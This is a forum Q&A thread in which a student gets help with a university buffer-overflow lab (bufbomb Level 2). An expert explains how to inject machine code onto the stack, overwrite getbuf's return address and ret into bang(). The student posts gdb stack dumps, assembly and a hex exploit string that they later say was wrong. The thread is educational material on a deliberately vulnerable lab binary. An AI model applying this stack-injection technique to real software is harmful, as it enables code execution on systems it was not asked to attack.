Right but do I need to write assembly code for this or just do the same thing I've been doing and use the bytes?
Main Topics
Browse All Topics
Loading Advertisement...
Question
Buffer Overflow Bomb Phase 2
I'm starting phase 2 but I'm a little confused on what I need to do for it. Do I need to write my own assembly code for this or merely reference some code in the program thats already written?
Level 2: Firecracker (30 pts)
A much more sophisticated form of buffer attack involves supplying a string that encodes actual machine instructions. The exploit string then overwrites the return pointer with the starting address of these instructions. When the calling function (in this case getbuf()) executes its ret instruction, the program will start executing the instructions on the stack rather than returning. With this form of attack, you can get the program to do almost anything. The code you place on the stack is called the exploit code. This style of attack is tricky, though, because you must get machine code onto the stack and set the return pointer to the start of this code.
Within the file bufbomb there is a function bang() having the following C code:
int global_value = 0;
void bang(int val)
{
entry_check(2); /* Make sure entered this function properly */
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
}
else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
Similar to Levels 0 and 1, your task is to get bufbomb to execute the code for bang() rather than returning to test. Before this, however, you must set global variable global_value to your teams cookie. Your exploit code should set global_value, push the address of bang() on the stack, and then execute a return instruction to cause a jump to the code for bang().
Some Advice:
You can use GDB to get the information you need to construct your exploit string. Set a breakpoint within getbuf() and run to this breakpoint. Determine parameters such as the address of global_value and the location of the buffer.
Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with gcc and disassemble it with objdump. You should be able to get the exact byte sequence that you will type at the prompt. (A brief example of how to do this is included at the end of this writeup.)
Keep in mind that your exploit string depends on your machine, your compiler, and even your teams cookie. Do all of your work on the machine cs367.vsnet.gmu.edu, and make sure you include the proper team name on the command line to bufbomb.
Our solution requires 16 bytes of exploit code. Fortunately, there is sufficient space on the stack, because we can overwrite the stored value of %ebp. This stack corruption will not cause any problems, since bang causes the program to exit directly.
Watch your use of address modes when writing assembly code. Note that movl $0x4, %eax moves the value 0x00000004 into register %eax; whereas movl 0x4, %eax moves the value at memory location 0x00000004into %eax. Since that memory location is usually undefined, the second instruction will cause a segfault!
Do not attempt to use either a jmp or a call instruction to jump to the code for bang. These instructions uses PC-relative addressing, which is very tricky to set up correctly. Instead, push an address on the stack and use the ret instruction.
This Question has been solved and asker verified All Experts Exchange premium technology solutions are available to subscription members.
Subscribe now for full access to Experts Exchange and get
Instant Access to this Solution
- Plus...
- 30 Day FREE access, no risk, no obligation
- Collaborate with the world's top tech experts
- Unlimited access to our exclusive solution database
- Never be left without tech help again
Trusted by hundreds of thousands everyday for fast, accurate and reliable tech support.
- "The time we save is the biggest benefit of Experts Exchange to Warner Bros. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange." Mike Kapnisakis, Warner Bros.
- "Our team likes having a resource that is more secure than just using Google and most experts using this service really know their stuff. It's nice to look here first versus using Google." Dayna Sellner, Lockheed Martin
- "Anytime that I've been stumped with a problem, 9 out of 10 times Experts Exchange has either the accepted solution or an open discussion of the potential solution to the problem." Kenny Red, eBay Inc.
See what Experts Exchange can do for you.
Got a question?
We've got the answer.
Experts Exchange has been collecting answers to technology questions since 1996…3 million and counting! If you have a question, chances are we already have your answer.
Need individual assistance?
Our experts are ready to help.
If you can't find the exact answer you're looking for, ask our exclusive community of 50,000 experts. You’ll get a personalized answer from a trusted professional.
Want to learn from the best?
Read articles from industry experts.
Thousands of free tech tips, tricks, how-to’s and tutorials are available in our peer reviewed articles section. See for yourself how smart our experts are, no login required.
Working on a long term project?
Store your work and research.
Save solutions to your questions, answers you’ve discovered through searching plus helpful articles in your personal knowledgebase for easy future access.
Access the answers to your technology questions today.
30-day free trial. Register in 60 seconds.
What Makes Experts Exchange Unique?
Members of the expert community talk about why the experience at Experts Exchange is different than what you will find anywhere else.
Trusted by the world's most respected brands.
Faithfully serving IT professionals since 1996.
Try it out and discover for yourself.
30-day free trial. Register in 60 seconds.
Free Tech Articles
-
WARNING: 5 Reasons why you should NEVER fix a computer for free.
It is in our nature to love the puzzle. We are obsessed. The lot of us. We love puzzles. We love the challenge. We thrive on finding the answer. We hate disarray. It bothers us deep in our soul. W...
-
SCCM OSD Basic troubleshooting
SCCM 2007 OSD is a fantastic way to deploy operating systems, however, like most things SCCM issues can sometimes be difficult to resolve due to the sheer volume of logs to sift through and the dispe...
-
Migrate Small Business Server 2003 to Exchange 2010 and Windows 2008 R2
This guide is intended to provide step by step instructions on how to migrate from Small Business Server 2003 to Windows 2008 R2 with Exchange 2010. For this migration to work you will need the fo...
-
Create a Win7 Gadget
This article shows you how to create a simple "Gadget" -- a sort of mini-application supported by Windows 7 and Vista. Gadgets can be dropped anywhere on the desktop to provide instant information, ...
-
Outlook continually prompting for username and password
There have been a lot of questions recently regarding Outlook prompting for a username and password whilst using Exchange 2007. There are a few reasons why this would happen and I will try to cover t...
-
Backup Exchange 2010 Information Store using Windows Backup
There seems to be quite a lot of confusion around the ability to backup Exchange 2010 using the built in Windows Backup feature. This stems from the omission of this feature prior to Exchange 2007 s...
Cloud Class Webinars
- Avoiding Bugs in Microsoft Access
Alison Balter takes and in-depth look at avoiding bugs in Access. In this webinar you will learn about using the immediate window to debug your applications, invoking the debugger, using breakpoints to troubleshoot, stepping through code, setting the next statement to execute, ...
- Top 10 Best New Features in Visio 2010
Scott Helmers gives live demonstrations of the top 10 new features in Visio 2010. This webinar will teach you how to create compelling diagrams by adding shapes to the page with a single click, linking the shapes in a diagram to data in Excel (or SQL Server, or SharePoint), ...
- IT Consultant Business Secrets Revealed
Michael Munger, Experts Exchange tech pro and IT consultant, pulls back the curtain on his very successful businesses and answers question on every IT consultant and business owner should know about. He shares secrets on what he did to solve the 5 most common problems in IT, ...
- Disaster Recovery and Business Continuity
Quest CTO, Mike Billon, gives an overview of the steps involved in building a dunamic disaster recovery plan. Through case studies and an examination of software/hardware tooles for monitoring and testing, you'll gain a better understandin of where you are, where you want ...
- Organize Your Visio Diagrams with Containers and Lists
Scott Helmers uses cross functional flowcharts, wireframe diagrams, data graphic legends and seating charts to teach you: how to ustilize all three new structured diagram components in Visio 2010, the best practices for organizeing shapes in previous version of Visio, how to organize ...
- How to Us Objects, Properties, Events and Methods in Microsoft Access
Alison Dalter gives an in-depbth look at objects, properties, events and methods in Microsoft Access. In this webinar you will learn about using the object browser, referring to objects, working with properties and methods, working with object variables, understanding the ...
Join the Community
Give a Little. Get a Lot.
Join the community of experts here and help other tech pros by answering question in your area of expertise. You can earn FREE access to all Experts Exchange's premium features and resources.
Answers
Not sure how I would begin going about editing the global variable either. It says I need to change it before changing/calling bang() but if I modify the string before the call to bang then that call won't fall into the proper address... Do I still keep the call to bang() in the same place or do I need to add something before it?
>> Right but do I need to write assembly code for this or just do the same thing I've been doing and use the bytes?
Both :)
The <exploit code> part of the string you have to enter will be assembled instructions. So, you'll have to write the assembly code for :
>> Your exploit code should set global_value, push the address of bang() on the stack, and then execute a return instruction to cause a jump to the code for bang().
then assemble it, and place the resulting bytes in your string.
>> Do I still keep the call to bang() in the same place or do I need to add something before it?
In your assembly code, you'll first have to set the global variable, and then call bang.
>> Would this code do the required operations?
Let me quite two phrases from your assignment to answer your question :
>> Note that movl $0x4, %eax moves the value 0x00000004 into register %eax; whereas movl 0x4, %eax moves the value at memory location 0x00000004into %eax. Since that memory location is usually undefined, the second instruction will cause a segfault!
>> Do not attempt to use either a jmp or a call instruction to jump to the code for bang. These instructions uses PC-relative addressing, which is very tricky to set up correctly. Instead, push an address on the stack and use the ret instruction.
>> 8048e5d: e8 6e fa ff ff call 80488d0 <save_char>
>>
>> i know e8 is call but I don't get where 6e fa ff ff was generated.
It's a relative offset (which is the reason you shouldn't be using call, even though I suggested it earlier) : 0xFFFFFA6E (negative value).
Right I've moved on and trying to do what it says and push the address of bang and then return instruction. Should the flow of my exploit string be this
(filler string) -> (set global variable) -> (push bang address) -> (return instruction)
And to do this I write the code in a separate program and then compile it and then objdump it and use the generated byte code it gives for my exploit string?
So this code
movl $0x5d5f53de, %0x0804a1c0
won't overwrite the necessary variable?
I'm unsure about how I would go about making it execute my code. Would I keep my original buffer up to the return call in getbut() and then use the converted byte code? But wouldn't that cause a segmentation fault? I don't understand how I would be able to execute all the needed instructions since the converted byte code is longer then 4 bytes.
>> (filler string) -> (set global variable) -> (push bang address) -> (return instruction)
You need to also include a jump address to overwrite the return value. That address should point to your own exploit code.
>> And to do this I write the code in a separate program and then compile it and then objdump it and use the generated byte code it gives for my exploit string?
For example, or just construct it yourself by looking at similar instructions.
>> I don't understand how I would be able to execute all the needed instructions since the converted byte code is longer then 4 bytes.
If you overwrite the return value (just like in phase one), and let it point to your exploit code, the program will happily start executing your exploit code.
Looks like I shouldn't use a jump command...
>>Do not attempt to use either a jmp or a call instruction to jump to the code for bang. These instructions uses PC-relative addressing, which is very tricky to set up correctly. Instead, push an address on the stack and use the ret instruction.
Or is this just saying don't use it after my exploit code has executed?
I still don't really understand this. I keep my original exploit string that overflows up to the return call in getbuf and at that point I need to change the global variable and after that I need to push the address for bang() onto the stack and then execute a return instruction? Which would mean everything is taking place in getbuf() and then the return would call bang()?
>> Or is this just saying don't use it after my exploit code has executed?
It is talking about the part where you jump to the bang function.
You'll need to "jump" twice :
1) once by overwriting the return address of the getbuf function call, to start executing your exploit code
2) once inside the exploit code by executing a ret instruction to start executing the bang function.
>> At the return call in getbuf() I should jump to my exploit code which would start after that jump and then the return in my exploit code should call the bang() address that should be pushed into ebp?
That's it.
>> or would the extra bytes be interpreted as instructions and the addresses fall together correctly?
An instruction is identified by the first byte, and is then followed by its arguments (if any). The next instruction immediately follows it, and again starts with 1 byte to identify the instruction, followed by its arguments etc.
If you need padding between instructions, you can use the nop instruction.
Here is my code so far:
jmp 0x08048f58
movl $0x5d5f53de, 0x0804a1c0
movl 0x08048cd0, %ebp
ret
I jump to the address right after the return call then I overflow that address and the next with the movl instructions first setting 0x08048a1c0 (global variable) to my cookie 0x5d5f53de and then setting ebp equal to the address of bang() and then issuing a ret instruction which reads the address at ebp and calls bang.
Look good?
>> would I put something like c7 nop nop nop c0 a1 04 08 de 53 5f 5d
No. The arguments immediately follow the opcode.
Ignore nops for now ... You probably won't need them.
>> I don't see how I would know what address to jump to once reaching the return instruction getbuf().
gdb can tell you at which address your exploit code starts ...
>> Hmmmm, I'm not so sure about how to do the first jump to my exploit code.
Simply overwrite the return address of getbuf on the stack with the address of your exploit code.
>> I overwrite the bytes at the return address with my jump byte code and then just add in byte code for the rest of my code right after?
If you don't overwrite the return address with a valid address, then when the code returns from getbuf, it will return to some invalid location, and likely crash. You need to provide a valid address - namely the address where your exploit code starts.
The address I need to jump to would be 0xbfffb408 according to this correct?
0x08048dd0 in Gets ()
(gdb) x/32xw $sp
0xbfffb3ec: 0x08048f51 0xbfffb3fc 0x00000000 0x0804a108
0xbfffb3fc: 0xbfffb434 0x00857ff4 0x00000003 0xbfffb428
0xbfffb40c: 0x08048f7e 0x00000003 0x008584c0 0x08049983
0xbfffb41c: 0xbfffb434 0xbfffb434 0xdeadbeef 0xbfffe9f8
0xbfffb42c: 0x08049056 0x08049983 0x000000f4 0x00003560
0xbfffb43c: 0x00000000 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb44c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb45c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
(gdb) si
0x08048dd1 in Gets ()
(gdb) x/32xw $sp
0xbfffb3e8: 0xbfffb408 0x08048f51 0xbfffb3fc 0x00000000
0xbfffb3f8: 0x0804a108 0xbfffb434 0x00857ff4 0x00000003
0xbfffb408: 0xbfffb428 0x08048f7e 0x00000003 0x008584c0
0xbfffb418: 0x08049983 0xbfffb434 0xbfffb434 0xdeadbeef
0xbfffb428: 0xbfffe9f8 0x08049056 0x08049983 0x000000f4
0xbfffb438: 0x00003560 0x00000000 0xf4f4f4f4 0xf4f4f4f4
0xbfffb448: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb458: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
(gdb)
I know my code is stored at the address 0xbfffb3fc but I can't get my string to work....
Breakpoint 1, 0x08048f4c in getbuf ()
(gdb) si
0x08048dd0 in Gets ()
(gdb) x/32x 0xbfffb3fc
0xbfffb3fc: 0xbfffb434 0x00857ff4 0x00000003 0xbfffb428
0xbfffb40c: 0x08048f7e 0x00000003 0x008584c0 0x08049983
0xbfffb41c: 0xbfffb434 0xbfffb434 0xdeadbeef 0xbfffe9f8
0xbfffb42c: 0x08049056 0x08049983 0x000000f4 0x00003560
0xbfffb43c: 0x00000000 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb44c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb45c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb46c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
(gdb) si
0x08048dd1 in Gets ()
(gdb) si
0x08048dd3 in Gets ()
(gdb) x/32x 0xbfffb3fc
0xbfffb3fc: 0xbfffb434 0x00857ff4 0x00000003 0xbfffb428
0xbfffb40c: 0x08048f7e 0x00000003 0x008584c0 0x08049983
0xbfffb41c: 0xbfffb434 0xbfffb434 0xdeadbeef 0xbfffe9f8
0xbfffb42c: 0x08049056 0x08049983 0x000000f4 0x00003560
0xbfffb43c: 0x00000000 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb44c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb45c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb46c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
(gdb) c
Continuing.
Breakpoint 2, 0x08048f57 in getbuf ()
(gdb) x/32x 0xbfffb3fc
0xbfffb3fc: 0xbfffb434 0x00857ff4 0x00000003 0xbfffb428
0xbfffb40c: 0xbfffb40c 0xa1c005c7 0x53de8048 0xd0685d5f
0xbfffb41c: 0xc308048c 0xbfffb3fc 0xdead00e9 0xbfffe9f8
0xbfffb42c: 0x08049056 0x08049983 0x000000f4 0x00003560
0xbfffb43c: 0x00000000 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb44c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb45c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb46c: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
(gdb)
I don't see why this current string isn't working...I'm stepping through the code and I can't seem to find what I'm missing/doing wrong.
34 b4 ff bf f4 7f 85 00 03 00 00 00 28 b4 ff bf 0c b4 ff bf c7 05 c0 a1 04 08 de 53 5f 5d 68 d0 8c 04 08 c3 fc b3 ff bf
(padding)
34 b4 ff bf f4 7f 85 00 03 00 00 00 28 b4 ff bf 0c b4 ff bf
(set global to cookie)
c7 05 c0 a1 04 08 de 53 5f 5d
(push bang address)
68 d0 8c 04 08
(ret to my exploit code)
c3 fc b3 ff bf
Also here is the code dump for Gets and getbuf
0xbfffb3fc looks to be the right address...But it doesn't work. Or do I need to find the value at that address and use that?
Breakpoint 2, 0x08048dd0 in Gets ()
(gdb) si
0x08048dd1 in Gets ()
(gdb) si
0x08048dd3 in Gets ()
(gdb) x/x ($ebp+8)
0xbfffb3f0: 0xbfffb3fc
(gdb) x/x $ebp
0xbfffb3e8: 0xbfffb408
(gdb) x/32w ($ebp+8)
0xbfffb3f0: 0xbfffb3fc 0x00000000 0x0804a108 0xbfffb434
0xbfffb400: 0x00857ff4 0x00000003 0xbfffb428 0x08048f7e
0xbfffb410: 0x00000003 0x008584c0 0x08049983 0xbfffb434
0xbfffb420: 0xbfffb434 0xdeadbeef 0xbfffe9f8 0x08049056
0xbfffb430: 0x08049983 0x000000f4 0x00003560 0x00000000
0xbfffb440: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb450: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb460: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
(gdb) x/32w ebp
No symbol table is loaded. Use the "file" command.
(gdb) x/32w $ebp
0xbfffb3e8: 0xbfffb408 0x08048f51 0xbfffb3fc 0x00000000
0xbfffb3f8: 0x0804a108 0xbfffb434 0x00857ff4 0x00000003
0xbfffb408: 0xbfffb428 0x08048f7e 0x00000003 0x008584c0
0xbfffb418: 0x08049983 0xbfffb434 0xbfffb434 0xdeadbeef
0xbfffb428: 0xbfffe9f8 0x08049056 0x08049983 0x000000f4
0xbfffb438: 0x00003560 0x00000000 0xf4f4f4f4 0xf4f4f4f4
0xbfffb448: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
0xbfffb458: 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4 0xf4f4f4f4
(gdb)
Okay well I did the above string wrong and its not going to work so scratch that I figured it out. Thanks alot for the help you gave...you really are good with this stuff and I really appreciate the help. Are there any online resources you could recommend for assembly and these sorts of concepts? Also I'm sure I'll be posting some questions on the last phase if you would like to offer insight. Again thanks for the help!
No problem. I'm not always available all the time, but when I am, I'm glad to be of assistance :)
Online resources for assembly ? Experience mainly comes with practice (after doing all these phases for example, I'm sure you have a much better understanding of how the stack works heh). But you could have a look at "The Art of Assembly Language Programming" :
http://homepage.mac.com/ra
which gives a good introduction into practical assembly programming.
3 Ways to Join
Business Accounts
- Perfect for organizations
- Multiple users
- Save over 36%
- Create a Business Account
Answer for Membership
- Earn free access
- Showcase your knowledge
- No credit card required
- Sign Up to Answer
Loading Advertisement...
by: Infinity08Posted on 2009-11-03 at 13:29:32ID: 25733961
>> Do I need to write my own assembly code for this or merely reference some code in the program thats already written?
The idea is to make your own code part of the buffer used for overflowing. When you overwrite the return address, you make it jump to that code, and execute from there. So, the exploit string might be something like :
<padding><return address><exploit code>
This is what the exploit code should do :
>> Your exploit code should set global_value, push the address of bang() on the stack, and then execute a return instruction to cause a jump to the code for bang().